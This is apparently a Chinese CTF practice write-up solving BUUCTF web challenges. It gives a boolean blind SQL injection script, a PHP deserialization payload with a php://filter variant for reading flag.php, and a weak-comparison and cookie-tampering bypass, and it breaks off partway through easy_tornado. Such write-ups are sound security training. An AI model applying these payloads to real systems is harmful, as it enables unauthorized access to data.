[BT]BUUCTF刷题第8天(3.26)

第8天

Web

[CISCN2019 华北赛区 Day2 Web1]Hack World

在这里插入图片描述
题目明确提示flag在flag表里的flag列,这里先尝试1
返回:你好,glzjin想要一个女朋友。

再尝试1',返回bool(false)
到这里就感觉是布尔盲注的题目类型了(虽然我没做过布尔盲注)

最后尝试1' or,返回SQL Injection Checked.
说明or被过滤了,空格也被过滤了

经过多次尝试发现页面只有以上三种返回提示,如果查询语句执行结果为真,那么输出你好,glzjin想要一个女朋友。,为假则输出bool(false),检测到过滤词则输出SQL Injection Checked.

因此本题考虑布尔盲注

对于布尔盲注通常有两个函数:

  1. length()函数:判断查询结果的长度
  2. substr()函数:截取每一个字符,并穷举出字符内容

比如想要获取数据库名的长度(本题不需要):

?id=1' and length( database() )=猜测长度(从1开始,不断递增直到正确) -- a

页面异常(空)显示,表示猜解长度有误;
页面正常显示,表示猜解长度正确;

获取数据长度之后就可以获取其具体值:

?id=1 and ascii(substr( 查询语句 ,1,1))=32 -- a

查询结果由一个个字符组成,对应的ASCII编码是32~126。用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32、33直到26。

有关布尔盲注的详解文章:布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程

那么结合这道题我们就可以构造出:

if((ascii(substr((select(flag)from(flag)),1,1))=102),1,0)   //*利用()替代空格*

在SQL中,IF可以进行判断,格式为IF(condition, value_if_true, value_if_false)

condition:一个条件表达式,其结果为布尔值(TRUE 或 FALSE)。
value_if_true:如果 condition 为 TRUE,则返回此值。
value_if_false:如果 condition 为 FALSE,则返回此值。

但一个个测试ASCII码比较麻烦,这里用到Python脚本:

import requests

# 网站路径
url = "http://b40b7492-f0c5-41c8-8c92-4cf070718e9e.node5.buuoj.cn:81/index.php"

# post请求参数
data= {
    "id": ""
}

# 枚举字符
def getStr():
    str = ''
    # 从第一个字符开始截取
    for l in range(1, 50):
        # 枚举字符的每一种可能性
        for n in range(32, 126):
            data["id"] = f"if((ascii(substr((select(flag)from(flag)),{l},1))={n}),1,0)"
            response = requests.post(url=url, data=data)
            if "Hello" in response.text:
                str += chr(n)
                print('第', l, '个字符枚举成功:', str )
                break

getStr()

即可获得flag

在这里插入图片描述

[网鼎杯 2020 青龙组]AreUSerialz

打开网站直接给出了源代码:

<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;

    function __construct() {     				      	//初始化对象及属性,并调用 process() 方法
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {					//我们需要process函数执行到op=="2"这个地方
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {							//这个函数用不上
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {							//这个函数是关键
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {							//is_valid($str)用于检查一个字符串是否包含有效的可打印字符。
        $obj = unserialize($str);
    }
}

可以看出这是一道PHP反序列化的题目,为了获得flag需要以下步骤:

  1. 通过GET方法给str传参
  2. 绕过is_valid()的检测
  3. 绕过$this->op === "2",防止op的值被修改为2
  4. file_get_contents($this->filename)能读取到flag.php的值

基于以上几点可以构造下面的PHP代码:

<?php
class FileHandler {
    public $op=2;			         /*由于$this->op == "2"是弱类型比较而
$this->op === "2"是强类型比较,所以这里的整数2可以绕过__destruct()且不影响结果*/
    public $filename="./flag.php";
	public $content;
	}
$a=new FileHandler;
$str1=serialize($a);
echo $str1;
?>

上面将属性类型protected改为public 是为了避免出现打印符号(protected反序列化后为%00,会被is_valid函数检测到),并且PHP 7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符(有关其他方法绕过打印符号检测的文章:[网鼎杯 2020 青龙组]AreUSerialz1)

Payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:10:"./flag.php";s:7:"content";N;}

接着在返回页面注释中就能看到flag

这里也可以利用伪协议输出网页内容,同样能够将注释内容输出:

<?php
class FileHandler{
    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $content = 2;
}
$a = new FileHandler();
echo serialize($a);
?>

[极客大挑战 2019]BuyFlag

在这里插入图片描述

这是一个购买flag的网页,打开右上角的菜单

在这里插入图片描述

F12后发现网站泄露源代码

在这里插入图片描述

由于是弱类型,让password=404a即可也可以设为404%00,函数会认为这是个字符串

先通过HackBar构造password=404%00然后使用BP抓包(必须先在HackBar构造POST,直接在BP构造可能因为请求包长度变化失效)

由于网站限定只有CUIT的人可以购买,通过抓包发现Cookie: user=0,将其设为1就能绕过

在这里插入图片描述

然后提示需要Flag need your 100000000 money

password=404%00换成password=404%00&money=100000000又提示Nember lenth is too long

这里将其改成科学计数法即可password=404%00&money=1e9

成功拿到flag

在这里插入图片描述

[护网杯 2018]easy_tornado

打开网站就是三个txt文件

在这里插入图片描述

/flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

当点进flag.txt时,url变为

http://b9e52e06-e591-46ad-953e-7e8c5fffa144.node5.buuoj.cn:81/file
?filename=/flag.txt&filehash=41a9f15a56218197f80a148252160b57

所以,为了获得flag,我们应该是要访问:
?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(fllllllllllllag))

flag位于的文件是知道了,但是用于md5加密的cookie_secret还不知道,因此接下来的重点是找到这个值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/490590.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

RocketMQ学习笔记:消息存储模型,持久化文件,过期文件删除

这是本人学习的总结&#xff0c;主要学习资料如下 马士兵教育rocketMq官方文档 目录 1、消息存储结构1.1、CommitLog详解1.1.1、CommitLog存储的优点 1.2、ConsumeQueue详解1.3、Index详解 2、持久化文件3、过期文件删除机制3.1、判断过期文件3.2、删除的时机 1、消息存储结构…

大模型时代的向量数据库:原理解析和应用案例

大家好&#xff0c;在人工智能领域&#xff0c;数据处理和加工的需求愈发增加。随着人们深入探索AI高级的应用&#xff0c;如图像识别、语音搜索和推荐引擎等&#xff0c;数据的复杂性也在不断地增加。此时传统的数据库存储方式已不能完全满足需求&#xff0c;向量数据库应运而…

《出海和跨境:明道云HAP支撑全球化业务的能力白皮书》正式发布

随着全球化进程的加速&#xff0c;越来越多的企业开始寻求海外市场的拓展机会。然而在出海道路上&#xff0c;企业面临着诸多挑战&#xff0c;比如跨时区的协作困难、文化差异、信息异步、技术障碍等。 明道云HAP作为一款前沿的企业软件产品&#xff0c;致力于赋能企业跨境经营…

Jwt 报错 : Cannot resolve method ‘parseClaimsJws‘ in ‘JwtParserBuilder‘

Java 环境 Java 版本&#xff1a; jkd11 jwt依赖 <dependency><groupId>io.jsonwebtoken</groupId><artifactId>jjwt</artifactId><version>0.12.5</version></dependency>报错如下图所示 解决方法 在pom.xml中把 jjwt 的依…

2024年【安全员-C证】考试及安全员-C证考试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 安全员-C证考试根据新安全员-C证考试大纲要求&#xff0c;安全生产模拟考试一点通将安全员-C证模拟考试试题进行汇编&#xff0c;组成一套安全员-C证全真模拟考试试题&#xff0c;学员可通过安全员-C证考试题全真模拟…

【MySQL】数据库--基础

目录 一、概念&#xff1a; 二、连接数据库[Dos命令] 三、SQL 语句分类 一、概念&#xff1a; MySQL 是一种开源的关系数据库管理系统 (RDBMS)数据库-表的本质仍然是文件 二、连接数据库[Dos命令] mysql -h&#xff1a;mysql服务的主机&#xff08;默认连接到本机服务器&…

2024.3.26学习笔记

今日学习韩顺平java0200_韩顺平Java_对象机制练习_哔哩哔哩_bilibili 今日学习p273-p285 包 包的本质实际上就是创建不同的文件夹/目录来保存类文件 包的三大作用 区分相同名字的类 当类很多时&#xff0c;可以很好的管理类 控制访问范围 包的基本语法 package com.xx…

第九届蓝桥杯大赛个人赛省赛(软件类)真题C 语言 A 组-分数

solution1 直观上的分数处理 #include <iostream> using namespace std; int main() {printf("1048575/524288");return 0; }#include<stdio.h> #include<math.h> typedef long long ll; struct fraction{ll up, down; }; ll gcd(ll a, ll b){if…

UE5、CesiumForUnreal实现海量POI撒点显示与聚合功能

1.实现目标 POI是UE+GIS三维场景中经常需要展示的要素,在UE中常用的表示POI方法有两种。一种是Mesh,即空间的方式;另一种是Widget,即屏幕上的方式,本文这里使用的是Widget屏幕展示的形式来表示POI。 本文这里使用的POI点位数量共3.3w+,采用直接网格聚合算法,并进行性能优…

Excel学习笔记(持续更新-20240326)

写在前面 Excel的学习心得分享&#xff0c;佛系更新。2024/03/26 目录 Excel每次都是以只读模式打开 给Excel设置“开机密码” 保护你的excel不让别人篡改 1.1Excel每次都是以只读模式打开 背景&#xff1a;如果有个工具&#xff0c;每天都有很多人使用&#xff0c;如果是…

Spring设计模式-实战篇之单例模式

实现案例&#xff0c;饿汉式 Double-Check机制 synchronized锁 /*** 以饿汉式为例* 使用Double-Check保证线程安全*/ public class Singleton {// 使用volatile保证多线程同一属性的可见性和指令重排序private static volatile Singleton instance;public static Singleton …

算法系列--动态规划--⼦数组、⼦串系列(数组中连续的⼀段)(1)

&#x1f495;"我们好像在池塘的水底&#xff0c;从一个月亮走向另一个月亮。"&#x1f495; 作者&#xff1a;Mylvzi 文章主要内容&#xff1a;算法系列–动态规划–⼦数组、⼦串系列&#xff08;数组中连续的⼀段&#xff09;(1) 大家好,今天为大家带来的是算法系…

插槽和自定义命令

自定义指令 自定义的指令,定义好之后,在标签内使用,当执行new Vue去模板的时候,看到自定义指令,会将下面的函数,等到特定执行Vue实例阶段触发.模板渲染之后.当触发时的传参的参数的第一个是所写的对象的DOM对象,第二个是是包含指令的对象,对象value是指令赋值.当把指令写到标签…

qt生成word文档(wps),代码如下

这是我自己写的&#xff0c;建议往下滑&#xff0c;大佬写的很清楚&#xff0c;我的代码只是人家的一个摘抄部分 链接&#xff1a;https://pan.baidu.com/s/1MgG_dO8hCUi7ErQnOncNOg?pwd1234 提取码&#xff1a;1234使用方法&#xff1a; #include "ExportReport.h&qu…

6个步骤轻松实现 postman 接口压力测试(建议收藏)

这里讲是postman做接口并发测试&#xff0c;基础用法不做赘述 1、第一步接口可以通的情况下点击右上角save 2、将相应信息填入 3、如果是同一个接口修改不同的值如下图 4、点击左上角Runner 5、选择刚才所建接口集合、填入要执行次数 6、查看运行结果 总结&#xff1a; 感谢每…

24计算机考研调剂 | 【官方】湘潭大学

湘潭大学 考研调剂要求 招生专业&#xff1a; 调剂基本要求&#xff1a; &#xff08;1&#xff09;基本要求同《湘潭大学2024年硕士研究生复试录取工作方案》。 &#xff08;2&#xff09;初试成绩要求&#xff1a; 初试成绩各单科均须达到A类考生进入复试的初试成绩基本要…

代码随想录算法训练营第四十六天|139.单词拆分、56. 携带矿石资源(第八期模拟笔试)

139.单词拆分 刷题https://leetcode.cn/problems/word-break/description/文章讲解https://programmercarl.com/0139.%E5%8D%95%E8%AF%8D%E6%8B%86%E5%88%86.html视频讲解https://www.bilibili.com/video/BV1pd4y147Rh/?vd_sourceaf4853e80f89e28094a5fe1e220d9062 题解&…

微服务(基础篇-005-Gateway)

目录 Gateway介绍&#xff1a; 为什么需要网关&#xff08;1&#xff09; gateway快速入门&#xff08;2&#xff09; 断言工厂&#xff08;3&#xff09; 过滤器工厂&#xff08;4&#xff09; 过滤器工厂介绍及案例&#xff08;4.1&#xff09; 默认过滤器&#xff08…

公众号超牛鼻的爆文仿写机器人,原创三篇只需6分钟,篇篇是爆文基因

大家好&#xff0c;我是大胡子&#xff0c;专注于RPA提效​&#xff0c;今天就介绍一款公众号超牛鼻的爆文仿写机器人​。 和以前的公众号爆文机器人不太一样&#xff0c;以前的爆文机器人需要手动插入图片、添加封面、插入话题&#xff0c;然后今天这个机器人就完全解决这几个…

Redission 分布式锁原理分析

一、前言 我们先来说说分布式锁&#xff0c;为啥要有分布式锁呢? 像 JDK 提供的 synchronized、Lock 等实现锁不香吗&#xff1f;这是因为在单进程情况下&#xff0c;多个线程访问同一资源&#xff0c;可以使用 synchronized 和 Lock 实现&#xff1b;在多进程情况下&#xff…